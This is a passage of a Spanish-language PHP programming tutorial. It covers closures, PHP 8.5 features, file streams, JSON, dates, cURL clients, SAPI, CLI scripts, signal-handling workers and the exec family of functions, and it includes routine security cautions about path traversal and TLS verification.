ReflectionParameter | Nombre, tipo, valor por defecto — corazón del auto-wiring |
ReflectionProperty | Leer/escribir incluso privadas (setAccessible) — útil en pruebas |
getAttributes() | Atributos como objetos reales vía newInstance() |
Atributos integrados que ya usas
#[\Deprecated](8.4): marca métodos en retirada; las llamadas emiten aviso.#[\Override](8.3): ya vista en herencia (cap. 14).#[\AllowDynamicProperties]: excepción histórica para clases legacy.
Puntos clave
- Atributos = anotaciones ejecutables, tipadas y con IDE friendly.
#[\Attribute(TARGET_...)]declara dónde puede vivir uno.newInstance()transforma metadatos en objetos utilizables.- Reflection alimenta routers/DI/ORMs; escanea una vez y cachea.
22 · Estilo funcional con closures
Intermedio ~13 minEl capítulo 10 presentó las funciones anónimas; aquí las usamos como bloques de construcción: funciones que reciben y devuelven otras funciones, transformaciones de arrays sin bucles manuales e inmutabilidad práctica.
Captura por valor, por referencia y estáticas
<?php
declare(strict_types=1);
$iva = 0.18;
$conIva = fn (float $precio): float => $precio * (1 + $iva); // captura automatica por VALOR
$iva = 0.20;
echo $conIva(100.0), PHP_EOL; // sigue usando el 0.18 capturado
$contador = 0;
$incremento = function () use (&$contador): void { // & = por REFERENCIA
$contador++;
};
$incremento(); $incremento();
echo $contador, PHP_EOL;
class Servicio
{
public string $etiqueta = 'svc';
}
$s = new Servicio();
$estatica = static function (): string { // static: SIN $this, no filtra contexto
return 'independiente';
};
echo $estatica(), ' / ', $s->etiqueta, PHP_EOL;Transformar colecciones sin bucles
<?php
declare(strict_types=1);
$productos = [
['nombre' => 'Cafe', 'precio' => 24.90, 'stock' => 12],
['nombre' => 'Azucar', 'precio' => 4.50, 'stock' => 0],
['nombre' => 'Leche', 'precio' => 5.20, 'stock' => 30],
];
$nombres = array_map(fn ($p) => $p['nombre'], $productos);
$disponibles = array_values(array_filter(
$productos,
fn ($p) => $p['stock'] > 0 // conserva claves: reindexa con array_values
));
$totalValor = array_sum(array_map(fn ($p) => $p['precio'] * $p['stock'], $disponibles));
usort($productos, fn ($a, $b) => $b['precio'] <=> $a['precio']); // desc. por precio
echo implode(', ', $nombres), ' | total=', number_format($totalValor, 2), PHP_EOL;
echo 'mas caro: ', $productos[0]['nombre'], PHP_EOL;Funciones que fabrican funciones
<?php
declare(strict_types=1);
function mayorQue(float $limite): Closure // factory de predicados
{
return fn (float $x): bool => $x > $limite;
}
$superaMinimo = mayorQue(10.0);
var_dump($superaMinimo(11.5), $superaMinimo(9.9));
// Composicion con callables de primera clase (8.1):
$normalizar = trim(...);
$aMayusculas = strtoupper(...);
$texto = $aMayusculas($normalizar(' cafe especial '));
echo $texto, PHP_EOL;Inmutabilidad práctica
<?php
declare(strict_types=1);
final class Pedido
{
private function __construct(
public readonly array $items, // lista inmutable
public readonly float $total,
) {
}
public static function vacio(): self
{
return new self([], 0.0);
}
// "modificar" = devolver UNO NUEVO:
public function con(string $item, float $precio): self
{
return new self([...$this->items, $item], $this->total + $precio);
}
}
$pedido = Pedido::vacio()
->con('Cafe', 24.90)
->con('Leche', 5.20);
print_r($pedido->items);
echo 'total: ', $pedido->total, PHP_EOL;foreach sobre un generator (cap. 18) gana en memoria
y claridad al estilo funcional encadenado. Funcional es una herramienta, no una
religión.Puntos clave
fncaptura por valor automáticamente;use (&$x)solo si lo necesitas.static functionevita filtrar$this.map/filter/reduce/usortexpresan intención sin bucles.- Fábricas de closures +
metodo(...)componen pipelines. - Inmutabilidad = construir objetos nuevos con
readonly.
23 · Novedades de PHP 8.5
Intermedio ~13 minEl capítulo 1 las anunciaba; aquí se usan de verdad. Estas son las piezas que definen cómo se escribirá PHP a partir de ahora.
Operador pipe |>: el flujo de izquierda a derecha
Toma el resultado de la izquierda y lo pasa como ÚNICO argumento del callable de la derecha. Se lee como un pipeline de datos, en orden natural:
<?php
declare(strict_types=1);
$pedidos = ['cafe', 'azucar', 'leche', 'cafe'];
// Antes: leer al reves, de adentro hacia afuera
$antes = strtoupper(implode(', ', array_unique(array_map('trim', $pedidos))));
// Ahora: un pipeline legible
$despues = $pedidos
|> array_map(trim(...), $)
|> array_unique($)
|> implode(', ', $)
|> strtoupper($);
echo $antes, PHP_EOL;
echo $despues, PHP_EOL;$es el marcador de posición del valor entrante; con funciones de un argumento ni siquiera hace falta.- Cada paso puede ser función global, closure o
$obj->metodo(...). - Reemplaza al anidado profundo y a variables temporales
$paso1,$paso2...
clone() como función: mutar durante la clonación
<?php
declare(strict_types=1);
final class Configuracion
{
public function __construct(
public readonly string $ambiente,
public readonly bool $debug = false,
) {
}
}
$prod = new Configuracion('produccion');
$dev = clone($prod, [ // 8.5: clona Y reescribe propiedades readonly
'ambiente' => 'desarrollo',
'debug' => true,
]);
echo $dev->ambiente, ' debug=', $dev->debug ? 'si' : 'no', PHP_EOL;#[\NoDiscard]: el retorno no se ignora
<?php
function validarRuc(string $ruc): bool
{
return strlen($ruc) === 11 && str_starts_with($ruc, '20');
}
#[\NoDiscard('el resultado indica si la validacion paso')]
function validarYRegistrar(string $ruc): bool
{
return validarRuc($ruc);
}
validarYRegistrar('20512345678'); // aviso: el retorno no fue usado (void) silencia
(void) validarYRegistrar('10...'); // descarte INTENCIONAL documentadoExtensión URI: URLs con estándar real
<?php
declare(strict_types=1);
$uri = new \Uri\Uri('HTTPS://Tienda.pe:443/catalogo?pagina=2#ofertas');
echo $uri->getHost(), PHP_EOL; // normalizado: tienda.pe
echo $uri->getPort() ?? '-', PHP_EOL; // 443 omitido por ser default https
echo $uri->getQuery(), PHP_EOL;
$nueva = $uri->withQuery('pagina=3');
echo $nueva, PHP_EOL; // inmutable: devuelve instancia nuevaEl resto del paquete 8.5
| Novedad | En una línea |
|---|---|
array_first() / array_last() | Primer/último elemento sin reset() ni end() (ya vistos, cap. 9) |
| Handles cURL persistentes | Reuso de conexiones entre peticiones: menos overhead TLS |
| Fatales con backtrace | Los errores fatales ahora muestran traza completa: adiós adivinanzas |
Atributo #[\Override] maduro | Herramienta anti-typos ya estable desde 8.3 |
__sleep()/__wakeup() deprecados | Migra a __serialize()/__unserialize() (cap. 17) |
clone($x, [...]) para variantes de
objetos inmutables; revisar deprecaciones con
php -l + pruebas; activar
error_reporting=E_ALL en desarrollo.Puntos clave
|>encadena pasos de izquierda a derecha;$marca el hueco.clone($obj, [...])crea variantes inmutables sin boilerplate.#[\NoDiscard]protege retornos importantes;(void)los descarta a propósito.\Uri\Uri: parsing/normalización RFC 3986 e WHATWG nativos.- Fatales con backtrace y menos deprecaciones ambiguas.
24 · Archivos y streams
Intermedio ~13 minTodo backend serio termina leyendo o escribiendo algo del disco: logs, reportes CSV, cachés, importaciones. El modelo de PHP es un flujo (stream): un recurso con cursor que se abre, recorre y cierra.
Los tres modos de leer
<?php
declare(strict_types=1);
$ruta = __DIR__ . '/notas.txt';
file_put_contents($ruta, "linea uno\nlinea dos\nlinea tres\n");
// 1) TODO el contenido de golpe (ideal < unos MB):
$todo = file_get_contents($ruta);
// 2) Un archivo en un ARRAY de lineas:
$lineas = file($ruta, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
// 3) Con cursor manual: streaming para lo grande
$fh = fopen($ruta, 'rb'); // b = binario seguro
while (($linea = fgets($fh)) !== false) {
echo trim($linea), ' | ';
}
fclose($fh);
echo PHP_EOL;| Modo | Si no existe | Cursor | Uso típico |
|---|---|---|---|
'r' | falla | inicio | solo lectura |
'w' | lo crea | inicio, TRUNCA | regenerar completo |
'a' | lo crea | fin | logs, añadir |
'x' | falla si existe | inicio | crear sin pisar |
'c' | lo crea | inicio sin truncar | reescribir secciones |
Escribir con candado: el patrón de log correcto
<?php
declare(strict_types=1);
function registrar(string $mensaje, string $nivel = 'INFO'): void
{
$linea = sprintf(
"[%s] [%s] %s%s",
date('Y-m-d H:i:s'),
$nivel,
$mensaje,
PHP_EOL
);
$fh = fopen(__DIR__ . '/app.log', 'ab');
if ($fh === false) {
throw new RuntimeException('Log inaccesible');
}
try {
flock($fh, LOCK_EX); // excluye escritores concurrentes
fwrite($fh, $linea);
} finally {
flock($fh, LOCK_UN);
fclose($fh);
}
}
registrar('Pedido 1001 emitido');
registrar('Reintento de pago', 'WARN');CSV: el formato que nunca muere
<?php
declare(strict_types=1);
// Exportar:
$ventas = [
['SKU', 'Producto', 'Unidades', 'Total'],
['CAF-1KG', 'Cafe especial', 3, 74.70],
['LEQ-1L', 'Leche evaporada', 10, 52.00],
];
$fh = fopen('ventas.csv', 'wb');
foreach ($ventas as $fila) {
fputcsv($fh, $fila); // maneja comillas y separadores por ti
}
fclose($fh);
// Importar (con generador: memoria constante, cap. 18):
function filas(string $archivo): Generator
{
$fh = fopen($archivo, 'rb');
fgetcsv($fh); // descarta cabecera
while (($fila = fgetcsv($fh)) !== false) {
yield $fila;
}
fclose($fh);
}
foreach (filas('ventas.csv') as [$sku, , , $total]) {
echo "$sku => S/ $total\n";
}Operaciones de sistema y streams especiales
<?php
declare(strict_types=1);
mkdir(__DIR__ . '/respaldos/2026', 0777, true); // recursivo
copy('ventas.csv', 'respaldos/2026/ventas.csv');
rename('ventas.csv', 'respaldos/2026/ventas_final.csv');
echo filesize('respaldos/2026/ventas_final.csv'), " bytes\n";
unlink('respaldos/2026/ventas.csv');
// php://temp: archivo en RAM que desborda a disco si crece mucho
$mem = fopen('php://temp', 'r+b');
fwrite($mem, 'proceso intermedio sin tocar el disco');
rewind($mem);
echo stream_get_contents($mem), PHP_EOL;
fclose($mem);../../etc/passwd).
Normaliza siempre contra una raíz fija con
realpath() y verifica que el resultado empiece por ella.Puntos clave
- Chico →
file_get_contents; grande →fgets/generador. - Escritura concurrente exige
flock(LOCK_EX). fputcsv/fgetcsvevitan reinventar el parser.php://temp= memoria con respaldo automático en disco.- Nunca confíes en rutas externas sin validar contra la raíz.
25 · JSON: el idioma de las APIs
Básico ~12 minJSON es el formato de intercambio por defecto del ecosistema web. PHP lo
maneja con dos funciones: json_encode y
json_decode — más una familia de flags que conviene
dominar desde el primer día.
Codificar con los flags correctos
<?php
declare(strict_types=1);
$pedido = [
'id' => 1001,
'cliente' => 'María Ñuñez',
'items' => [
['sku' => 'CAF-1KG', 'precio' => 24.90],
],
'pagado' => true,
];
// Los TRES flags que casi siempre quieres juntos:
$json = json_encode($pedido, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_THROW_ON_ERROR);
echo $json, PHP_EOL;JSON_UNESCAPED_UNICODE: sin esto, «Ñuñez» se vuelve\u00d1u\u00f1ez.JSON_PRETTY_PRINT: solo para logs/debug; en APIs ahorra bytes sin él.JSON_THROW_ON_ERROR(7.3+): convierte fallos silenciosos (¡null!) enJsonException. Úsalo SIEMPRE.
Decodificar: array asociativo u objeto
<?php
declare(strict_types=1);
use JsonException;
$entrada = '{"ruc":"20512345678","razon":"Cafeteria El Sol","activo":true}';
try {
$comoArray = json_decode($entrada, true, 512, JSON_THROW_ON_ERROR);
echo $comoArray['razon'], PHP_EOL;
$comoObjeto = json_decode($entrada, false, 512, JSON_THROW_ON_ERROR);
echo $comoObjeto->ruc, PHP_EOL;
} catch (JsonException $e) {
echo 'JSON invalido: ', $e->getMessage(), PHP_EOL;
}
var_dump(json_last_error() === JSON_ERROR_NONE);Objetos a JSON: qué viaja realmente
json_encode solo serializa propiedades
públicas. Para controlar la representación exacta, implementa
JsonSerializable:
<?php
declare(strict_types=1);
class Producto implements JsonSerializable
{
public function __construct(
private string $sku,
private float $costoInterno,
private float $precioVenta,
) {
}
public function jsonSerialize(): array // TU version publica del objeto
{
return [
'sku' => $this->sku,
'precio' => number_format($this->precioVenta, 2, '.', ''),
];
// costoInterno NUNCA sale por accidente
}
}
echo json_encode(new Producto('CAF-1KG', 14.20, 24.90)), PHP_EOL;Ida y vuelta: archivo de configuración JSON
<?php
declare(strict_types=1);
$archivo = __DIR__ . '/config.json';
function guardarConfig(string $ruta, array $datos): void
{
file_put_contents(
$ruta,
json_encode($datos, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_THROW_ON_ERROR)
);
}
function cargarConfig(string $ruta): array
{
$bruto = file_get_contents($ruta);
if ($bruto === false) {
throw new RuntimeException("No existe $ruta");
}
return json_decode($bruto, true, 512, JSON_THROW_ON_ERROR);
}
guardarConfig($archivo, ['tema' => 'oscuro', 'iva' => 0.18]);
print_r(cargarConfig($archivo));| Situación | Solución |
|---|---|
Acentos convertidos a \uXXXX | JSON_UNESCAPED_UNICODE |
json_decode() devolvió null sin aviso | JSON_THROW_ON_ERROR + try/catch |
| Números grandes pierden precisión | JSON_BIGINT_AS_STRING al decodificar |
Barras escapadas (\/) | JSON_UNESCAPED_SLASHES |
| Datos privados expuestos | Implementar JsonSerializable |
Puntos clave
- Trio obligatorio: UNESCAPED_UNICODE + THROW_ON_ERROR (+ PRETTY si es humano).
decode(..., true)→ array;false→ stdClass.JsonSerializabledefine la cara pública del objeto.- Solo propiedades públicas viajan por defecto.
26 · Fechas con DateTimeImmutable
Intermedio ~13 minRegla de la casa: usa DateTimeImmutable, no
DateTime. El clásico muta el objeto original en cada
add()/modify(): un solo
objeto compartido entre funciones y las fechas se corrompen solas.
La trampa del mutable, demostrada
<?php
declare(strict_types=1);
$mutable = new DateTime('2026-08-23 10:00:00');
$manana = $mutable->add(new DateInterval('P1D')); // ¡MUTA a $mutable!
echo 'mutable ahora dice: ', $mutable->format('Y-m-d H:i'), PHP_EOL;
$inmutable = new DateTimeImmutable('2026-08-23 10:00:00');
$futuro = $inmutable->add(new DateInterval('P1D')); // devuelve UNO NUEVO
echo 'inmutable intacto: ', $inmutable->format('Y-m-d H:i'), PHP_EOL;
echo 'futuro: ', $futuro->format('Y-m-d H:i'), PHP_EOL;Crear, formatear y comparar
<?php
declare(strict_types=1);
$hoy = new DateTimeImmutable('now', new DateTimeZone('America/Lima'));
$vencimiento = new DateTimeImmutable('2026-12-31 23:59:59');
echo $hoy->format('d/m/Y H:i:s T'), PHP_EOL;
// Comparacion directa con operadores (ambos son DateTimeInterface):
var_dump($hoy < $vencimiento);
$dias = $hoy->diff($vencimiento); // DateInterval calculado
echo "Faltan {$dias->days} dias\n";
// Formatos utiles para BD y APIs:
echo $vencimiento->format('Y-m-d H:i:s'), ' | ',
$vencimiento->format(DATE_ATOM), PHP_EOL;- Formato seguro para MySQL:
Y-m-d H:i:s; para APIs: constanteDATE_ATOM. diff()devuelveDateIntervalcon->days, meses, horas...- Los objetos se ordenan con
<=>directo: perfecto enusort.
Aritmética encadenable e inmutable
<?php
declare(strict_types=1);
$base = new DateTimeImmutable('2026-08-23');
$ciclo = $base
->modify('+7 days') // cada paso = instancia nueva
->setTime(9, 0)
->setTimezone(new DateTimeZone('UTC'));
echo $base->format('Y-m-d H:i T'), ' => ', $ciclo->format('Y-m-d H:i T'), PHP_EOL;
// Rangos para reportes con DatePeriod:
foreach (new DatePeriod($base, new DateInterval('P1D'), 4) as $dia) {
echo $dia->format('D d-m'), ' | ';
}
echo PHP_EOL;
// Meses peruanos sin extension intl:
$meses = [1 => 'enero','febrero','marzo','abril','mayo','junio',
'julio','agosto','setiembre','octubre','noviembre','diciembre'];
$n = (int) $base->format('n');
echo $base->format('j \d\e '), $meses[$n], ' \d\e ', $base->format('Y'), PHP_EOL;Parsear entrada externa sin sustos
<?php
declare(strict_types=1);
function desdeFormulario(string $texto): DateTimeImmutable
{
try {
return new DateTimeImmutable($texto, new DateTimeZone('America/Lima'));
} catch (Exception $e) { // formato invalido lanza Exception
throw new InvalidArgumentException("Fecha invalida: '$texto'");
}
}
var_dump(desdeFormulario('2026-09-15')->format('Y/m/d'));
try {
desdeFormulario('32/13/2026');
} catch (InvalidArgumentException $e) {
echo $e->getMessage(), PHP_EOL;
}Puntos clave
DateTimeImmutable: cada operación devuelve instancia nueva.- Comparaciones con operadores;
diff()da intervalos exactos. DatePeriodrecorre rangos para reportes.- Entrada externa → try/catch → excepción propia.
- Almacena UTC/zona explícita; presenta en la zona del usuario.
27 · cURL y clientes HTTP
Intermedio ~14 minConsumir APIs externas (pasarelas de pago, SUNAT, servicios internos) es pan de cada día. cURL es el cliente nativo más completo: control fino de cabeceras, timeouts, TLS y reuso de conexiones.
GET con verificación de estado
<?php
declare(strict_types=1);
function httpGet(string $url): string
{
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true, // devuelve string, no echo
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => 5, // handshake maximo
CURLOPT_TIMEOUT => 15, // transferencia total
CURLOPT_USERAGENT => 'MiApp/1.0',
]);
$cuerpo = curl_exec($ch);
if ($cuerpo === false) {
$error = curl_error($ch);
curl_close($ch);
throw new RuntimeException("Fallo de red: $error");
}
$codigo = curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
curl_close($ch);
if ($codigo >= 400) {
throw new RuntimeException("HTTP $codigo desde $url");
}
return $cuerpo;
}
$datos = json_decode(httpGet('https://api.github.com/zen'), true);
var_dump(is_string($datos) || is_array($datos));POST con JSON: la receta estándar
<?php
declare(strict_types=1);
function httpPostJson(string $url, array $payload, ?string $token = null): array
{
$cabeceras = [
'Content-Type: application/json',
'Accept: application/json',
];
if ($token !== null) {
$cabeceras[] = "Authorization: Bearer $token";
}
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode(
$payload,
JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR
),
CURLOPT_HTTPHEADER => $cabeceras,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 20,
]);
$cuerpo = curl_exec($ch);
if ($cuerpo === false) {
throw new RuntimeException('Red: ' . curl_error($ch));
}
$codigo = curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
curl_close($ch);
return ['status' => $codigo, 'body' => json_decode($cuerpo, true)];
}
$respuesta = httpPostJson(
'https://httpbin.org/post',
['pedido' => 1001, 'moneda' => 'PEN'],
token: 'token-de-prueba' // argumento nombrado (8.0+)
);
echo $respuesta['status'], PHP_EOL;Reuso agresivo: handles persistentes compartidos (8.5)
Cada conexión nueva paga DNS + handshake TLS. El share handle persistente reusa esos recursos entre peticiones — ideal para workers CLI que golpean siempre al mismo host:
<?php
declare(strict_types=1);
// Se crea UNA vez en el proceso; vive entre peticiones del worker:
$compartido = curl_share_init_persistent([ // 8.5
CURL_LOCK_DATA_DNS,
CURL_LOCK_DATA_SSL_SESSION,
CURL_LOCK_DATA_CONNECT,
]);
function pedir(string $url, CurlShareHandle $share): string
{
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_SHARE => $share, // hereda conexiones vivas
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
]);
$rpta = (string) curl_exec($ch);
curl_close($ch); // la conexion SOBREVIVE al close
return substr($rpta, 0, 40);
}
echo pedir('https://httpbin.org/get', $compartido), PHP_EOL;
echo pedir('https://httpbin.org/ip', $compartido), PHP_EOL; // reusa TLS| Necesidad | Herramienta |
|---|---|
| GET simple, sin cabeceras especiales | file_get_contents() + stream_context |
| POST, auth, timeouts, TLS fino | cURL |
| Muchas llamadas al mismo host (worker) | cURL + curl_share_init_persistent() |
| Descarga grande a disco | cURL con CURLOPT_FILE (streaming, sin RAM) |
| Varias URLs en paralelo | curl_multi_* |
CURLOPT_SSL_VERIFYPEER = false) «porque el sandbox
falla»: instala el bundle CA correcto. Sin verificación, un atacante intermedio
lee credenciales y datos de tarjeta.Puntos clave
RETURNTRANSFER + TIMEOUTsiempre; verifica código HTTP.- Errores de red → excepciones propias, no strings.
- JSON POST: cabecera Content-Type + encode estricto.
- 8.5: shares persistentes reusan DNS/TLS entre peticiones.
- TLS se verifica SIEMPRE; los CAs se instalan, no se saltan.
28 · SAPI: un mismo código, dos mundos
Básico ~12 minEl mismo archivo .php puede ejecutarse en la terminal o responder peticiones web. Quien media entre tu código y el sistema se llama SAPI (Server API) y saber en cuál estás cambia decisiones concretas del arranque.
Identificar el entorno
<?php
declare(strict_types=1);
echo php_sapi_name(), PHP_EOL; // cli | cli-server | fpm-fcgi | apache2handler...
echo PHP_SAPI, PHP_EOL; // constante equivalente, sin llamada
function esTerminal(): bool
{
$sapi = php_sapi_name();
// cli-server = servidor embebido `php -S`: corre en consola PERO sirve web
return $sapi === 'cli' || $sapi === 'cli-server';
}
var_dump(esTerminal());| SAPI | Dónde aparece | Mundo |
|---|---|---|
cli | php script.php en consola | terminal |
cli-server | php -S localhost:8000 | web (desarrollo) |
fpm-fcgi | Nginx/Apache + PHP-FPM | web (producción) |
apache2handler | módulo mod_php de Apache | web |
Diferencias que sí afectan tu código
<?php
declare(strict_types=1);
// Bootstrap que se adapta al mundo donde arranca:
if (!esTerminal()) {
session_start(); // sesiones SOLO tienen sentido en web
header('Content-Type: text/html; charset=utf-8');
}
set_error_handler(function (int $no, string $msg, string $file, int $line): bool {
if (esTerminal()) {
fwrite(STDERR, "[$no] $msg en $file:$line\n"); // stderr no ensucia stdout
} else {
error_log("$msg en $file:$line");
}
return true;
});
echo ini_get('max_execution_time'), " segundos de limite\n"; // 0 en CLI = sin limite- En CLI
max_execution_timees 0: los scripts pueden correr horas (Parte VI entera vive de esto). $_GET/$_POSTexisten pero vacíos en CLI; el equivalente es$argv(cap. 29).header()lanza aviso si ya hubo salida... salvo encli, donde no hay protocolo HTTP.- El directorio actual en web es el del script; en CLI es donde ESCRIBISTE el
comando: usa siempre rutas basadas en
__DIR__.
El servidor embebido: puente entre mundos
# Un solo binario, cero Apache/Nginx para desarrollar:
php -S localhost:8000 -t public/
# Con router propio (enruta TODO por un index.php):
php -S localhost:8000 -t public/ public/router.phpLa SAPI resultante es cli-server: proceso de
consola que habla HTTP. Perfecto para desarrollo y para la API REST integradora
de la meta final; NUNCA para producción (single-threaded, sin endurecimiento).
Utilidades CLI de diagnóstico diario
php -v # version exacta
php -m # modulos cargados (busca sqlsrv, pdo_sqlsrv, curl...)
php --ini # QUE php.ini esta leyendo (el CLI suele usar OTRO)
php -i | grep -i opcache
php -l app.php # lint: valida sintaxis sin ejecutarphp --ini contra phpinfo().Puntos clave
php_sapi_name():cli,cli-server, FPM, Apache.- Bootstrap adaptativo: sesiones/cabeceras solo en web.
- CLI: tiempo ilimitado,
$argv, stderr separado. - Rutas SIEMPRE desde
__DIR__: el cwd manda sorpresas. php -lantes de desplegar cuesta nada y ahorra noches.
29 · Parámetros y entrada estándar
Básico ~13 minUn script CLI serio recibe argumentos, valida y muestra ayuda cuando algo no
cuadra — igual que cualquier comando de Linux. PHP trae las tres piezas:
$argv, getopt() y la
constante STDIN.
$argv: los argumentos crudos
php respaldar.php --origen=/datos destino.zip --seco<?php
declare(strict_types=1);
// $argv[0] SIEMPRE es el nombre del script:
var_dump($argc); // 5 (script + 4 tokens)
print_r($argv);$argv funciona, pero parsear a mano se vuelve
frágil rápido. Para opciones con nombre existe getopt.
getopt(): opciones con contrato
<?php
declare(strict_types=1);
// Contrato: "o:" = -o CON valor | "s" = -s bandera sin valor
// "archivo::" = --archivo con valor OPCIONAL
$opciones = getopt('o:s', ['origen:', 'destino:', 'seco', 'nivel::'], $indiceResto);
$origen = $opciones['origen'] ?? $opciones['o'] ?? null;
$destino = $opciones['destino'] ?? 'respaldo.zip';
$soloTest = isset($opciones['seco']) || isset($opciones['s']);
if ($origen === null) {
fwrite(STDERR, "Uso: php respaldar.php --origen=RUTA [--destino=ARCHIVO] [--seco]\n");
exit(1); // codigo != 0 = fallo para scripts externos
}
echo "Respaldando $origen => $destino", $soloTest ? ' (simulacion)' : '', PHP_EOL;
// Lo que getopt NO consumio queda en $argv desde $indiceResto:
array_splice($argv, 0, $indiceResto);
foreach (array_slice($argv, 1) as $posicional) {
echo "Argumento posicional: $posicional\n";
}php respaldar.php -o /datos --destino=copia.zip --seco extra.txtSTDIN: conversación interactiva
<?php
declare(strict_types=1);
fwrite(STDOUT, "Nombre del proyecto: ");
$nombre = trim(fgets(STDIN) ?: '');
fwrite(STDOUT, "¿Crear tests? [s/N]: ");
$respuesta = strtolower(trim((string) fgets(STDIN)) ?: 'n');
$crearTests = in_array($respuesta, ['s', 'si', 'y', 'yes'], true);
echo "Proyecto: $nombre | Tests: ", $crearTests ? 'si' : 'no', PHP_EOL;STDIN/STDOUT/STDERRson constantes de recursos ya abiertas, SOLO existen en SAPI cli.- Reglas a stderr; resultados a stdout: así los pipes siguen limpios
(
php gen.php > salida.sql). - El código de salida (
exit(1)) es lo que leen cron, CI y shells ($?).
Plantilla de herramienta CLI completa
<?php
declare(strict_types=1);
#!/usr/bin/env php
function usage(): void
{
fwrite(STDERR, <<<'AYUDA'
Importador de ventas
Uso: php importar.php --archivo=VENTAS.csv [--limite=N]
--archivo CSV origen (obligatorio)
--limite maximo de filas (defecto: todas)
--ayuda esta ayuda
AYUDA);
exit(2);
}
$opts = getopt('', ['archivo:', 'limite::', 'ayuda']);
isset($opts['ayuda']) && usage();
isset($opts['archivo']) || usage();
$limite = (int) ($opts['limite'] ?? PHP_INT_MAX);
echo "Importando {$opts['archivo']} (max $limite filas)\n";| Herramienta | Ideal para |
|---|---|
$argv | 1–2 posicionales simples (php migrar.php up) |
getopt() | Herramientas con opciones nombradas y banderas |
STDIN | Prompts interactivos o datos canalizados por pipe |
Puntos clave
$argv[0]es el script; cuenta tokens, no «opciones».- Contrato getopt:
a:obliga valor,abandera,a::opcional. - Ayuda + validación + exit code distinto de cero al fallar.
- stdout = datos, stderr = mensajes: respeto por el pipe.
30 · Scripts largos robustos
Intermedio ~14 minUn worker que procesa colas o sincroniza catálogos corre horas. Los enemigos son tres: morir a mitad de tarea, perder la señal de apagado y crecer en memoria hasta que el sistema lo mata. Los tres tienen remedio nativo.
Señales: apagado elegante
<?php
declare(strict_types=1);
// Sin esto, los handlers de senales no se ejecutan durante sleep():
pcntl_async_signals(true);
$corriendo = true;
$apagar = function (int $senal) use (&$corriendo): void {
fwrite(STDERR, "Senal $senal: terminando tras la tarea actual...\n");
$corriendo = false;
};
pcntl_signal(SIGTERM, $apagar); // kill, systemd stop
pcntl_signal(SIGINT, $apagar); // Ctrl+C
$tarea = 0;
while ($corriendo) {
$tarea++;
echo "Procesando tarea #$tarea\n";
// ... trabajo real aqui ...
if ($tarea % 5 === 0) {
gc_collect_cycles(); // barre ciclos huérfanos
$mb = round(memory_get_usage(true) / 1048576, 1);
fwrite(STDERR, " [memoria: {$mb} MB]\n");
}
sleep(1); // en modo async, interrumpe el handler
}
echo "Apagado limpio tras $tarea tareas\n";
exit(0);El esqueleto del worker profesional
<?php
declare(strict_types=1);
final class Worker
{
private bool $activo = true;
private const LIMITE_MEMORIA_MB = 256;
public function __construct(private string $nombre)
{
pcntl_async_signals(true);
pcntl_signal(SIGTERM, fn () => $this->activo = false);
pcntl_signal(SIGINT, fn () => $this->activo = false);
}
public function correr(): never
{
$procesadas = 0;
while ($this->activo) {
$trabajo = $this->siguienteTrabajo();
if ($trabajo === null) {
sleep(2); // cola vacia: esperar sin quemar CPU
continue;
}
try {
$this->ejecutar($trabajo);
$procesadas++;
} catch (Throwable $e) {
error_log("[$this->nombre] fallo: " . $e->getMessage());
// NO re-lanzar: un trabajo roto no debe tumbar el worker
}
if ($this->memoriaExcedida()) {
fwrite(STDERR, "Memoria alta: reinicio programado\n");
break; // exit(0): supervisor lo relanza fresco
}
}
fwrite(STDERR, "Cerrado. Procesadas: $procesadas\n");
exit(0); // codigo limpio para systemd/supervisor
}
private function siguienteTrabajo(): ?array { return null; } // tu cola aqui
private function ejecutar(array $trabajo): void {}
private function memoriaExcedida(): bool
{
return memory_get_usage(true) > self::LIMITE_MEMORIA_MB * 1048576;
}
}Higiene de memoria en bucles largos
<?php
declare(strict_types=1);
foreach (generarMillones() as $fila) {
procesar($fila);
unset($fila); // libera la referencia del foreach
} // + gc_collect_cycles() cada N vueltas
// PDO: desactiva el buffer gigante por defecto (MySQL):
// $pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);
// Lee fila a fila como fgets (cap. 24).- Fugas típicas: acumular resultados en arrays «por si acaso», logs en memoria, conexiones sin cerrar dentro del loop.
- Patrón supervisor: el worker se apaga solo ante memoria alta o cada N horas; systemd/Supervisor lo relanza. Simplicidad > inmortalidad.
pcntlNO existe en Windows: allí usa el Planificador de tareas con ejecuciones cortas (run-once), no daemons.
| Señal | Origen | Convención |
|---|---|---|
SIGINT | Ctrl+C en consola | apagado elegante |
SIGTERM | kill PID, systemd | apagado elegante |
SIGKILL | kill -9 | NO se puede manejar: termina ya |
SIGHUP | cierre de terminal | recargar config o apagar |
Puntos clave
pcntl_async_signals(true)primero; handlers después.- Loop con bandera: terminar entre tareas, nunca a mitad.
- Presupuesto de memoria + salida proactiva + supervisor.
- Errores por trabajo se registran y aíslan; el worker sobrevive.
- SIGKILL no negocia: diseña idempotencia para sobrevivirlo.
31 · Invocar procesos desde la web
Avanzado ~14 minGenerar un PDF de 500 páginas o un video no cabe en una petición HTTP: el usuario esperaría y PHP-FPM cortaría. El patrón correcto: la web dispara un proceso CLI y responde al instante; el resultado se consulta después.
La familia exec de un vistazo
<?php
declare(strict_types=1);
// shell_exec: TODO el stdout como string (stderr NO capturado):
$git = shell_exec('git log --oneline -3');
echo $git ?? '(sin salida)', PHP_EOL;
// exec: ultima linea por retorno, lineas en array por referencia:
$ultima = exec('whoami', $lineas, $codigo);
echo "salio=$ultima codigo=$codigo\n";
// system/passthru: imprimen DIRECTO al buffer (binarios con passthru):| Función | Devuelve | Salida | Código de salida |
|---|---|---|---|
shell_exec() | stdout completo o null | captura | no |
exec() | última línea | array opcional | sí (ref.) |
system() | última línea | imprime directo | sí (ref.) |
passthru() | nada | binario directo | sí (ref.) |
